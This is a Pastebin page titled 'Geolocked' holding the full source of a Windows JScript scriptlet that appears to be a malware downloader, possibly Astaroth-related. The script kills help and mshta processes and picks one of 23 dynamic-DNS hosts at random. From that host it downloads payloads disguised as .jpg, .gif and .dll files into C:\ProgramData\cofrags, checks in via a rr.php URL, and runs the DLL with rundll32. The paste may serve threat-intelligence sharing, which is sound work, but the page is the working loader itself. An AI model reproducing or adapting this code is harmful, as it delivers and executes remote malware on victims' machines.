API tools faq
paste
James_inthe_box

Geolocked

James_inthe_box
Jan 5th, 2018
535
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.02 KB | None | 0 0
raw download clone embed print report
  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4. progid="LordLuciferxx"
  5. classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
  6. </registration>
  7.  
  8. <script language="JScript">
  9. <![CDATA[
  10.  
  11.  
  12.  
  13.  
  14.  
  15. function Sleep(seconds){
  16. var StartTime = new Date();
  17. var datet = 0;
  18. while(datet < (seconds * 1000)){
  19. var EndTime = new Date();
  20. var datet = EndTime.getTime() - StartTime.getTime();
  21. }
  22. }
  23.  
  24.  
  25. function DownloadFile(url, file)
  26. {
  27. var data;
  28. var ado;
  29.  
  30. try
  31. {
  32. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  33.  
  34. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  35. WinHttpReq.SetTimeouts(30000, 30000, 30000, 5000);
  36.  
  37. void(WinHttpReq.Open("GET", url, false));
  38. WinHttpReq.Send();
  39. if (WinHttpReq.Status == 404)
  40. {
  41. return false;
  42. }
  43. data = WinHttpReq.ResponseBody;
  44. }
  45. catch (ex)
  46. {
  47. //WScript.Echo("Error downloading file: " + ex.message);
  48. return false;
  49. }
  50.  
  51. ado = new ActiveXObject("ADODB.Stream");
  52. ado.Type = 1; // binary mode
  53. ado.Open();
  54. ado.Write(data);
  55. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  56. ado.Close();
  57.  
  58. return true;
  59. }
  60.  
  61. function sxatiriri(min, max)
  62.  
  63. {
  64.  
  65. return Math.round(Math.random()*(max-min)+min)
  66.  
  67. }
  68.  
  69.  
  70. var xLuciferxs;
  71. var xCaverax;
  72. var xVRXastaroth;
  73. var xVRXastaroth2;
  74. var jnaksyremas;
  75. var sVarRaz;
  76. var raraiz;
  77. xLuciferxs = false;
  78. xCaverax = false;
  79. var AppWshShell = new ActiveXObject("Scripting.FileSystemObject");
  80. var WshShell = new ActiveXObject("WScript.Shell");
  81. var MaisShell = new ActiveXObject("WScript.Shell");
  82. var xxWshShell = new ActiveXObject("WScript.Shell");
  83. var masterAppData = new ActiveXObject("WScript.Shell");
  84.  
  85. WshShell.run("taskkill.exe /f /im hh.exe",1,true);
  86.  
  87. function yokmasterx(bell)
  88. {
  89. xCaverax = false;
  90.  
  91.  
  92. jnaksyremas = sxatiriri(1,23);
  93.  
  94.  
  95. if (jnaksyremas == 1)
  96. {
  97. xVRXastaroth = "ht"+"tps://dinaytai.onedumb.com/01/"
  98. xVRXastaroth2 = "ht"+"tp://dinaytai.onedumb.com/01/"
  99. }
  100. if (jnaksyremas == 2)
  101. {
  102. xVRXastaroth = "ht"+"tps://dinaytai90.sexidude.com/01/"
  103. xVRXastaroth2 = "ht"+"tp://dinaytai90.sexidude.com/01/"
  104. }
  105. if (jnaksyremas == 3)
  106. {
  107. xVRXastaroth = "ht"+"tps://dinaytai901.youdontcare.com/01/"
  108. xVRXastaroth2 = "ht"+"tp://dinaytai901.youdontcare.com/01/"
  109. }
  110. if (jnaksyremas == 4)
  111. {
  112. xVRXastaroth = "ht"+"tps://freetryio.wikaba.com/01/"
  113. xVRXastaroth2 = "ht"+"tp://freetryio.wikaba.com/01/"
  114. }
  115. if (jnaksyremas == 5)
  116. {
  117. xVRXastaroth = "ht"+"tps://freetryio12.wha.la/01/"
  118. xVRXastaroth2 = "ht"+"tp://freetryio12.wha.la/01/"
  119. }
  120. if (jnaksyremas == 6)
  121. {
  122. xVRXastaroth = "ht"+"tps://giliaus.mrface.com/01/"
  123. xVRXastaroth2 = "ht"+"tp://giliaus.mrface.com/01/"
  124. }
  125. if (jnaksyremas == 7)
  126. {
  127. xVRXastaroth = "ht"+"tps://giliauss.ftpserver.biz/01/"
  128. xVRXastaroth2 = "ht"+"tp://giliauss.ftpserver.biz/01/"
  129. }
  130. if (jnaksyremas == 8)
  131. {
  132. xVRXastaroth = "ht"+"tps://adestiaus.gr8domain.biz/01/"
  133. xVRXastaroth2 = "ht"+"tp://adestiaus.gr8domain.biz/01/"
  134. }
  135. if (jnaksyremas == 9)
  136. {
  137. xVRXastaroth = "ht"+"tps://maquinamortifera.4mydomain.com/01/"
  138. xVRXastaroth2 = "ht"+"tp://maquinamortifera.4mydomain.com/01/"
  139. }
  140. if (jnaksyremas == 10)
  141. {
  142. xVRXastaroth = "ht"+"tps://maquinamortifera.4mydomain.com/01/"
  143. xVRXastaroth2 = "ht"+"tp://maquinamortifera.4mydomain.com/01/"
  144. }
  145. if (jnaksyremas == 11)
  146. {
  147. xVRXastaroth = "ht"+"tps://pokko.dynamic-dns.net/01/"
  148. xVRXastaroth2 = "ht"+"tp://pokko.dynamic-dns.net/01/"
  149. }
  150. if (jnaksyremas == 12)
  151. {
  152. xVRXastaroth = "ht"+"tps://pooko.youdontcare.com/01/"
  153. xVRXastaroth2 = "ht"+"tp://pooko.youdontcare.com/01/"
  154. }
  155. if (jnaksyremas == 13)
  156. {
  157. xVRXastaroth = "ht"+"tps://layca.onedumb.com/01/"
  158. xVRXastaroth2 = "ht"+"tp://layca.onedumb.com/01/"
  159. }
  160. if (jnaksyremas == 14)
  161. {
  162. xVRXastaroth = "ht"+"tps://loila.toh.info/01/"
  163. xVRXastaroth2 = "ht"+"tp://loila.toh.info/01/"
  164. }
  165. if (jnaksyremas == 15)
  166. {
  167. xVRXastaroth = "ht"+"tps://urcamm.mywww.biz/01/"
  168. xVRXastaroth2 = "ht"+"tp://urcamm.mywww.biz/01/"
  169. }
  170. if (jnaksyremas == 16)
  171. {
  172. xVRXastaroth = "ht"+"tps://urcamn.onedumb.com/01/"
  173. xVRXastaroth2 = "ht"+"tp://urcamn.onedumb.com/01/"
  174. }
  175. if (jnaksyremas == 17)
  176. {
  177. xVRXastaroth = "ht"+"tps://pokoloko.wikaba.com/01/"
  178. xVRXastaroth2 = "ht"+"tp://pokoloko.wikaba.com/01/"
  179. }
  180. if (jnaksyremas == 18)
  181. {
  182. xVRXastaroth = "ht"+"tps://lokoepoko.ddns.mobi/01/"
  183. xVRXastaroth2 = "ht"+"tp://lokoepoko.ddns.mobi/01/"
  184. }
  185. if (jnaksyremas == 19)
  186. {
  187. xVRXastaroth = "ht"+"tps://maquina01.faqserv.com/01/"
  188. xVRXastaroth2 = "ht"+"tp://maquina01.faqserv.com/01/"
  189. }
  190. if (jnaksyremas == 20)
  191. {
  192. xVRXastaroth = "ht"+"tps://megaa.dynamic-dns.net/01/"
  193. xVRXastaroth2 = "ht"+"tp://megaa.dynamic-dns.net/01/"
  194. }
  195. if (jnaksyremas == 21)
  196. {
  197. xVRXastaroth = "ht"+"tps://seila.myftp.info/01/"
  198. xVRXastaroth2 = "ht"+"tp://seila.myftp.info/01/"
  199. }
  200. if (jnaksyremas == 22)
  201. {
  202. xVRXastaroth = "ht"+"tps://auria.ns01.biz/01/"
  203. xVRXastaroth2 = "ht"+"tp://auria.ns01.biz/01/"
  204. }
  205. if (jnaksyremas == 23)
  206. {
  207. xVRXastaroth = "ht"+"tps://bonus.sendsmtp.com/01/"
  208. xVRXastaroth2 = "ht"+"tp://bonus.sendsmtp.com/01/"
  209. }
  210.  
  211.  
  212. sVarRaz = "C:\\ProgramData\\cofrags";
  213. raraiz = "undefined";
  214.  
  215. try
  216. {
  217. var fso = new ActiveXObject("Scripting.FileSystemObject");
  218. fso.CreateFolder(sVarRaz);
  219. }
  220. catch (ex)
  221. {
  222.  
  223. }
  224.  
  225.  
  226.  
  227. if (AppWshShell.FileExists(sVarRaz+"\\WinSys.dll")){
  228. f = AppWshShell.GetFile(sVarRaz+"\\WinSys.dll");
  229. if (f.size < 10 ){
  230. f.Delete();
  231. f.Close();
  232. }
  233. }
  234.  
  235. if (AppWshShell.FileExists(sVarRaz+"\\windsys.dll")){
  236. f = AppWshShell.GetFile(sVarRaz+"\\windsys.dll");
  237. if (f.size < 10 ){
  238. f.Delete();
  239. f.Close();
  240. }
  241. }
  242.  
  243.  
  244.  
  245. if (AppWshShell.FileExists(sVarRaz+"\\MidiaMixa.jpg")){
  246. if (AppWshShell.FileExists(sVarRaz+"\\MidiaMixb.jpg")){
  247. if (AppWshShell.FileExists(sVarRaz+"\\MidiaMixc.jpg")){
  248. if (AppWshShell.FileExists(sVarRaz+"\\MidiaMixdwwn.gif")){
  249. if (AppWshShell.FileExists(sVarRaz+"\\MidiaMixe.jpg")){
  250. if (AppWshShell.FileExists(sVarRaz+"\\MidiaMixf.jpg")){
  251. if (AppWshShell.FileExists(sVarRaz+"\\MidiaMixg.gif")){
  252. if (AppWshShell.FileExists(sVarRaz+"\\windsys.dll")){
  253. if (AppWshShell.FileExists(sVarRaz+"\\WinSys.dll")){
  254. MaisShell.run("rundll32 "+sVarRaz+"\\WinSys.dll,x7",0,true);
  255. WshShell.run("taskkill.exe /f /im mshta.exe",0,true);
  256. xCaverax = true;
  257. WScript.Quit(666);
  258. }
  259. }
  260. }
  261. }
  262. }
  263. }
  264. }
  265. }
  266. }
  267.  
  268.  
  269.  
  270. if (xCaverax == false)
  271. {
  272.  
  273. if (! AppWshShell.FileExists(sVarRaz+"\\MidiaMixa.jpg")){
  274. try
  275. {
  276. xLuciferxs = DownloadFile(xVRXastaroth+"MidiaMixa.jpg.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixa.jpg");
  277. if (xLuciferxs == false) {
  278. DownloadFile(xVRXastaroth2+"MidiaMixa.jpg.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixa.jpg");
  279. }
  280. }
  281. catch (ex)
  282. {
  283.  
  284. }
  285.  
  286. }
  287.  
  288.  
  289. if (! AppWshShell.FileExists(sVarRaz+"\\MidiaMixb.jpg")){
  290. try
  291. {
  292. xLuciferxs = DownloadFile(xVRXastaroth+"MidiaMixb.jpg.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixb.jpg");
  293. if (xLuciferxs == false) {
  294. DownloadFile(xVRXastaroth2+"MidiaMixb.jpg.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixb.jpg");
  295. }
  296. }
  297. catch (ex)
  298. {
  299.  
  300. }
  301.  
  302. }
  303.  
  304.  
  305.  
  306. if (! AppWshShell.FileExists(sVarRaz+"\\MidiaMixc.jpg")){
  307. try
  308. {
  309. xLuciferxs = DownloadFile(xVRXastaroth+"MidiaMixc.jpg.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixc.jpg");
  310. if (xLuciferxs == false) {
  311. DownloadFile(xVRXastaroth2+"MidiaMixc.jpg.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixc.jpg");
  312. }
  313. }
  314. catch (ex)
  315. {
  316.  
  317. }
  318.  
  319. }
  320.  
  321.  
  322.  
  323. if (! AppWshShell.FileExists(sVarRaz+"\\MidiaMixdwwn.gif")){
  324. try
  325. {
  326. xLuciferxs = DownloadFile(xVRXastaroth+"MidiaMixdwwn.gif.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixdwwn.gif");
  327. if (xLuciferxs == false) {
  328. DownloadFile(xVRXastaroth2+"MidiaMixdwwn.gif.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixdwwn.gif");
  329. }
  330. }
  331. catch (ex)
  332. {
  333.  
  334. }
  335.  
  336. }
  337.  
  338.  
  339.  
  340. if (! AppWshShell.FileExists(sVarRaz+"\\MidiaMixe.jpg")){
  341. try
  342. {
  343. xLuciferxs = DownloadFile(xVRXastaroth+"MidiaMixe.jpg.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixe.jpg");
  344. if (xLuciferxs == false) {
  345. DownloadFile(xVRXastaroth2+"MidiaMixe.jpg.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixe.jpg");
  346. }
  347. }
  348. catch (ex)
  349. {
  350.  
  351. }
  352.  
  353. }
  354.  
  355.  
  356.  
  357. if (! AppWshShell.FileExists(sVarRaz+"\\MidiaMixf.jpg")){
  358. try
  359. {
  360. xLuciferxs = DownloadFile(xVRXastaroth+"MidiaMixf.jpg.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixf.jpg");
  361. if (xLuciferxs == false) {
  362. DownloadFile(xVRXastaroth2+"MidiaMixf.jpg.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixf.jpg");
  363. }
  364. }
  365. catch (ex)
  366. {
  367.  
  368. }
  369.  
  370. }
  371.  
  372.  
  373. if (! AppWshShell.FileExists(sVarRaz+"\\MidiaMixg.gif")){
  374. try
  375. {
  376. xLuciferxs = DownloadFile(xVRXastaroth+"MidiaMixg.gif.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixg.gif");
  377. if (xLuciferxs == false) {
  378. DownloadFile(xVRXastaroth2+"MidiaMixg.gif.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\MidiaMixg.gif");
  379. }
  380. }
  381. catch (ex)
  382. {
  383.  
  384. }
  385.  
  386. }
  387.  
  388.  
  389.  
  390.  
  391.  
  392. if (! AppWshShell.FileExists(sVarRaz+"\\windsys.dll")){
  393. try
  394. {
  395. xLuciferxs = DownloadFile(xVRXastaroth+"MidiaMixhh.dll.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\windsys.dll");
  396. if (xLuciferxs == false) {
  397. DownloadFile(xVRXastaroth2+"MidiaMixhh.dll.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\windsys.dll");
  398. }
  399. }
  400. catch (ex)
  401. {
  402.  
  403. }
  404.  
  405. }
  406.  
  407.  
  408.  
  409. try
  410. {
  411. xLuciferxs = DownloadFile(xVRXastaroth+"/rr.php?xxyz=r3.log&abcd=111_TODO_LOKO&x="+sxatiriri(0000001,999999999),sVarRaz+"\\r3.log");
  412. if (xLuciferxs == false) {
  413. DownloadFile(xVRXastaroth2+"/rr.php?xxyz=r3.log&abcd=111_TODO_LOKO&x="+sxatiriri(0000001,999999999),sVarRaz+"\\r3.log");
  414. }
  415. }
  416. catch (ex)
  417. {
  418.  
  419. }
  420.  
  421.  
  422. if (! AppWshShell.FileExists(sVarRaz+"\\WinSys.dll")){
  423. try
  424. {
  425. xLuciferxs = DownloadFile(xVRXastaroth+"MidiaMixh.log.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\WinSys.dll");
  426. if (xLuciferxs == false) {
  427. DownloadFile(xVRXastaroth2+"MidiaMixh.log.zip?"+sxatiriri(0000001,999999999),sVarRaz+"\\WinSys.dll");
  428. }
  429. }
  430. catch (ex)
  431. {
  432.  
  433. }
  434.  
  435. }
  436.  
  437.  
  438.  
  439.  
  440.  
  441.  
  442. if (AppWshShell.FileExists(sVarRaz+"\\WinSys.dll")){
  443. try
  444. {
  445. MaisShell.run("rundll32 "+sVarRaz+"\\WinSys.dll,x7",0,true);
  446. WshShell.run("taskkill.exe /f /im mshta.exe",0,true);
  447. WScript.Quit(666);
  448. }
  449. catch (ex)
  450. {
  451.  
  452. }
  453. }
  454.  
  455.  
  456.  
  457. }
  458.  
  459. }
  460. if (xCaverax == false)
  461. {
  462. Sleep(9);
  463. }
  464.  
  465.  
  466.  
  467.  
  468. if (xCaverax == false)
  469. {
  470. yokmasterx("abcde");
  471. }
  472. else {
  473. WScript.Quit(666);
  474. }
  475.  
  476.  
  477.  
  478.  
  479.  
  480. ]]>
  481. </script>
  482. </scriptlet>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!